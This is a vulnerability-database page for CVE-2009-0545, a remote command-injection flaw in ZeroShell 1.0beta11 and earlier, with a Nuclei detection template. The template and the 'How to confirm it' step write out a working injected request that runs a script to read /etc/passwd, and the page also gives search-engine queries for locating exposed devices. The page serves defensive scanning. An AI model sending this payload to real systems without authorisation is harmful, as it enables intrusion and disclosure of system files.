HexBrain

Browse / CVEs / CVE-2009-0545

CVE-2009-0545· zeroshell / zeroshell· CWE-20

ZeroShell <= 1.0beta11 Remote Code Execution

criticalseverity
10CVSS score
90.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected system.

Fix

Upgrade to a patched version of ZeroShell.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2009-0545 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2009-0545

info:
  name: ZeroShell <= 1.0beta11 Remote Code Execution
  author: geeknik
  severity: critical
  description: ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to a patched version of ZeroShell.
  reference:
    - https://www.exploit-db.com/exploits/8023
    - https://nvd.nist.gov/vuln/detail/CVE-2009-0545
    - http://www.zeroshell.net/eng/announcements/
    - http://www.ikkisoft.com/stuff/LC-2009-01.txt
    - http://www.vupen.com/english/advisories/2009/0385
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2009-0545
    cwe-id: CWE-20
    epss-score: 0.90386
    epss-percentile: 0.99802
    cpe: cpe:2.3:a:zeroshell:zeroshell:1.0:beta1:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeroshell
    product: zeroshell
    shodan-query: http.title:"zeroshell"
    fofa-query: title="zeroshell"
    google-query: intitle:"zeroshell"
  tags: cve,cve2009,edb,zeroshell,kerbynet,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from